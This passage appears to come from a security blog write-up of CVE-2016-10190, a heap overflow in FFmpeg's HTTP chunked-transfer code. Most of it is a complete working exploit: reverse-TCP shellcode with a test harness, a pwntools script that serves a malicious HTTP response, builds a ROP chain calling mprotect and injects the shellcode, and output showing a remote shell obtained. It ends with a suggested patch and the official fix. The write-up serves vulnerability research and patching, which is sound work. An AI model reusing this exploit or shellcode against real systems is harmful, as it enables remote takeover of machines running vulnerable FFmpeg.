# This will do the following things:
# 1. mprotect(mprotect_segment, 0x500, PROT_READ | PROT_WRITE | PROT_EXEC)
# 2. copy shellcode into shellcode_segment
# 3. jump to shellcode
# Setup mprotect ROP chain
payload += p64(pop_rdi) # Pop the first argument into RDI
payload += p64(mprotect_segment)
payload += p64(pop_rsi) # Pop the second argument into RSI
payload += p64(mprotect_size)
payload += p64(pop_rdx) # Pop the third argument into RDX
payload += p64(mprotect_prot)
payload += p64(mprotect_plt) # Run the mprotect function
# Write the shellcode into our newly mprotected segment
payload += generate_mov(mprotect_segment, shellcode)
# Jump to shellcode
payload += p64(mprotect_segment)
...
Picking the Shellcode
An x86-64 reverse TCP shell by Russell Willis (Shellstorm Link) was chosen for adaptation. A test harness was setup:
#include <stdio.h>
#define IPADDR "\x7f\x01\x01\x01" /* 127.1.1.1 */
#define PORT "\x05\x39" /* 1337 */
unsigned char code[] = \
"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a"
"\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0"
"\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24"
"\x02"PORT"\xc7\x44\x24\x04"IPADDR"\x48\x89\xe6\x6a\x10"
"\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48"
"\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a"
"\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54"
"\x5f\x6a\x3b\x58\x0f\x05";
int
main(void)
{
printf("Shellcode Length: %d\n", (int)sizeof(code)-1);
int (*ret)() = (int(*)())code;
ret();
return 0;
}
The test harness has to be compiled with the -z execstack
flag to allow
calling into the shellcode.
$ gcc -zexecstack -o reverseshell reverseshell.c
$
To test this out, we can start a netcat listener on port 1337 and run the harness.
$ ./reverseshell
Shellcode Length: 118
On the netcat end:
$ nc -l -v -p 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from [127.0.0.1] port 1337 [tcp/*] accepted (family 2, sport 44496)
id
uid=1000(ubuntu) gid=1000(ubuntu)
groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),
30(dip),44(video),46(plugdev),109(netdev),110(lxd)
uname -a
Linux ubuntu-xenial 4.4.0-93-generic #116-Ubuntu SMP Fri Aug 11 21:17:51 UTC
2017 x86_64 x86_64 x86_64 GNU/Linux
^C
Now we can just convert this into python:
# Reverse Shell TCP Shellcode adapted from Russell Willis
ip_addr = "127.1.1.1"
ip_addr_packed = socket.inet_aton(ip_addr)
port = 1337
port_packed = p16(port, endian="big")
shellcode = (
"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a" +
"\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0" +
"\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24" +
"\x02"+ port_packed + "\xc7\x44\x24\x04" + ip_addr_packed+
"\x48\x89\xe6\x6a\x10" +
"\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48" +
"\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a" +
"\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54" +
"\x5f\x6a\x3b\x58\x0f\x05")
Getting the Shell
Now we can compile everything we have into a working exploit:
#!/usr/bin/python
from pwn import *
import time
import socket
# HTTP Headers
headers = """HTTP/1.1 200 OK
Server: PwnServ/v1.0
Date: Sun, 11 Mar 1994 13:37:00 GMT
Content-Type: text/html
Transfer-Encoding: chunked
"""
# Reverse Shell TCP Shellcode adapted from Russell Willis
ip_addr = "127.1.1.1"
ip_addr_packed = socket.inet_aton(ip_addr)
port = 1337
port_packed = p16(port, endian="big")
shellcode = (
"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a" +
"\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0" +
"\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24" +
"\x02"+ port_packed + "\xc7\x44\x24\x04" + ip_addr_packed+
"\x48\x89\xe6\x6a\x10" +
"\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48" +
"\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a" +
"\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54" +
"\x5f\x6a\x3b\x58\x0f\x05")
# ROP Gadgets
pop_rsp = 0x00000000004077e9 # pop rsp; ret;
stack_pivot = 0x000000000049daa9 # add rsp, 0x58; ret;
push_rbx_jmp_rdi = 0x000000000117fc75 # push rbx; jmp rdi;
mprotect_segment = 0x01646000
mprotect_size = 0x500
mprotect_prot = 0x1 | 02 | 0x4
pop_rdi = 0x0000000000407c39
pop_rsi = 0x0000000000408b2c
pop_rdx = 0x0000000000408859
write_gadget = 0x0000000000422544 # mov qword ptr [rsi], rdx; ret;
mprotect_plt = 0x4071f0
def generate_mov(address_base, data):
"""Move data into memory startng at the given address_base with a write
gadget."""
def chunks(l, n):
"""Yield successive n-sized chunks from l."""
for i in range(0, len(l), n):
yield l[i:i + n]
ropchain = ""
for counter, i in enumerate(chunks(data, 8)):
ropchain += p64(pop_rsi) # Pop the target address into RSI
ropchain += p64(address_base + (counter * 8)) # Calculate the target
ropchain += p64(pop_rdx) # Pop the 8 bytes of data into RDX
ropchain += i.ljust(8, "\x90") # Make sure the data is aligned on 8 bytes
ropchain += p64(write_gadget) # Trigger the write
return ropchain
def main():
# Start a listener and wait for a connection from ffmpeg
p = listen(12345)
# Start a second listener for the reverse shell
rev = listen(port)
# Wait for connection before sending payload
log.info("Waiting for the victim...")
p.wait_for_connection()
log.success("Victim found!")
# Initialise the ffmpeg instance and prepare it for the bug
p.send(headers)
# Trigger the bug with the overly large read
p.sendline("-1")
log.info("Bug triggered. Please wait for two seconds...")
time.sleep(2) # The sleep allows for a clean transmission boundary
payload = "A" * 0x8060 # Padding to start of AVIOContext struct
# Setup the fake AVIOContext struct for the pivot into attacker controlled
# memory
payload += p64(stack_pivot) # [av_class] Pivot stack into controlled m. (3)
payload += ("A"*8) * 4 # [buffer, buffer_size, buf_ptr, buf_end]
payload += p64(pop_rsp) # [opaque] Value in RDI at (1). (2)
payload += p64(push_rbx_jmp_rdi) # [read_packet] initial RIP control (1)
payload += ("X"*8) * 3 # [write_packet, seek, pos]
payload += "AAAA" # [must_flush]
payload += p32(0) # [eof_reached] Must be zero or read terminates
payload += "A" * 8 # [write_flag, max_packet_size]
payload += p64(stack_pivot) # [checksum] One more stack pivot (4)
payload += ("A"*8) * 11 # Padding to set up the stack for the main ROP
# The main ROP chain
# This will do the following things:
# 1. mprotect(mprotect_segment, 0x500, PROT_READ | PROT_WRITE | PROT_EXEC)
# 2. copy shellcode into shellcode_segment
# 3. jump to shellcode
# Setup mprotect ROP chain
payload += p64(pop_rdi) # Pop the first argument into RDI
payload += p64(mprotect_segment)
payload += p64(pop_rsi) # Pop the second argument into RSI
payload += p64(mprotect_size)
payload += p64(pop_rdx) # Pop the third argument into RDX
payload += p64(mprotect_prot)
payload += p64(mprotect_plt) # Run the mprotect function
# Write the shellcode into our newly mprotected segment
payload += generate_mov(mprotect_segment, shellcode)
# Jump to shellcode
payload += p64(mprotect_segment)
# Send the entire payload
log.info("Payload sent!")
p.send(payload)
# Close the socket to terminate the read on the ffmpeg end to process the
# shellcode
p.close()
# Wait for reverse shell
log.info("Please wait for your reverse shell.")
rev.wait_for_connection()
log.success("Success! Enjoy your shell!")
rev.interactive()
if __name__ == '__main__':
main()
To demonstrate that it works we will run the exploit.py
script on one terminal
to set up the listeners that will deliver the payload and to receive the reverse
shell.
$ python exploit.py
[+] Trying to bind to 0.0.0.0 on port 12345: Done
[+] Waiting for connections on 0.0.0.0:12345: Got connection from 127.0.0.1 on
port 59164
[+] Trying to bind to 0.0.0.0 on port 1337: Done
[+] Waiting for connections on 0.0.0.0:1337: Got connection from 127.0.0.1 on
port 44406
[*] Waiting for the victim...
On another terminal, we will run ffmpeg
with parameters to connect to our
listener.
$ ./ffmpeg_debug -i http://127.0.0.1:12345 test.avi
ffmpeg version 3.2.1 Copyright (c) 2000-2016 the FFmpeg developers
built with gcc 5.4.0 (Ubuntu 5.4.0-6ubuntu1~16.04.4) 20160609
configuration: --prefix=/home/ubuntu/ffmpeg_build
--bindir=/home/ubuntu/ffmpeg_bin --disable-stripping
libavutil 55. 34.100 / 55. 34.100
libavcodec 57. 64.101 / 57. 64.101
libavformat 57. 56.100 / 57. 56.100
libavdevice 57. 1.100 / 57. 1.100
libavfilter 6. 65.100 / 6. 65.100
libswscale 4. 2.100 / 4. 2.100
libswresample 2. 3.100 / 2. 3.100
Back at the exploit script terminal, we can see that the connection has been established, payload has been delivered, and the reverse shell has been started.
[+] Victim found!
[*] Bug triggered. Please wait for two seconds...
[*] Payload sent!
[*] Closed connection to 127.0.0.1 port 59164
[*] Please wait for your reverse shell.
[+] Success! Enjoy your shell!
[*] Switching to interactive mode
$ uname -a
Linux ubuntu-xenial 4.4.0-93-generic #116-Ubuntu SMP Fri Aug 11 21:17:51 UTC
2017 x86_64 x86_64 x86_64 GNU/Linux
$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),
24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),
109(netdev),110(lxd)
$ echo pwned!
pwned!
$
An asciinema demo may be found at this link: https://asciinema.org/a/6tSnpYAqdUqsvtLhFb7iwxIRT.
Part 3: The Patch
The Simple Patch
This report suggests a simple two-liner solution. The http_read_stream
function contains the original code:
1250 if (s->chunksize >= 0) {
1251 if (!s->chunksize) {
1252 char line[32];
1253
1254 do {
1255 if ((err = http_get_line(s, line, sizeof(line))) < 0)
1256 return err;
1257 } while (!*line); /* skip CR LF from last chunk */
1258
1259 s->chunksize = strtoll(line, NULL, 16);
1260
1263
1264 if (!s->chunksize)
1265 return 0;
1266 }
1267 size = FFMIN(size, s->chunksize);
1268 }
The suggested patch would be to modify it so that it checks for negative values
before assigning the size with FFMIN
.
1250 if (s->chunksize >= 0) {
1251 if (!s->chunksize) {
1252 char line[32];
1253
1254 do {
1255 if ((err = http_get_line(s, line, sizeof(line))) < 0)
1256 return err;
1257 } while (!*line); /* skip CR LF from last chunk */
1258
1259 s->chunksize = strtoll(line, NULL, 16);
1260
1263
1264 if (!s->chunksize)
1265 return 0;
1266 }
1267
1268 if (s->chunksize > 0) {
1269 size = FFMIN(size, s->chunksize);
1270 }
1271 }
The diff
output between the original code and the patched code:
1267c1267,1270
< size = FFMIN(size, s->chunksize);
---
>
> if (s->chunksize > 0) {
> size = FFMIN(size, s->chunksize);
> }
We can test the solution by running the crash script from the demonstration section again.
$ python crash.py
[+] Trying to bind to 0.0.0.0 on port 12345: Done
[+] Waiting for connections on 0.0.0.0:12345: Got connection from 127.0.0.1 on
port 59254
[+] Victim found!
[*] Bug triggered. Please wait for two seconds...
[*] Payload sent!
[*] Closed connection to 127.0.0.1 port 59254
Running the patched ffmpeg
shows that the vulnerability no longer occurs.
$ ./ffmpeg-patched -i http://127.0.0.1:12345 test.avi
ffmpeg version 3.2.1 Copyright (c) 2000-2016 the FFmpeg developers
built with gcc 5.4.0 (Ubuntu 5.4.0-6ubuntu1~16.04.4) 20160609
configuration: --prefix=/home/ubuntu/patched/ffmpeg_build
--bindir=/home/ubuntu/patched/ffmpeg_bin --disable-stripping
libavutil 55. 34.100 / 55. 34.100
libavcodec 57. 64.101 / 57. 64.101
libavformat 57. 56.100 / 57. 56.100
libavdevice 57. 1.100 / 57. 1.100
libavfilter 6. 65.100 / 6. 65.100
libswscale 4. 2.100 / 4. 2.100
libswresample 2. 3.100 / 2. 3.100
http://127.0.0.1:12345: Connection reset by peer
The Official Patch
The official patch can be found in commit 2a05c8f813de6f2278827734bf8102291e7484aa in the FFmpeg github repository. The developers’ solution was to make all length and offset related variables unsigned to prevent the type confusion issues from occuring.
References
- http://www.openwall.com/lists/oss-security/2017/02/02/1
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10190
- https://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu
- http://seclists.org/oss-sec/2017/q1/276
- https://security.tencent.com/index.php/blog/msg/116
- http://shell-storm.org/shellcode/files/shellcode-857.php
Leave a Comment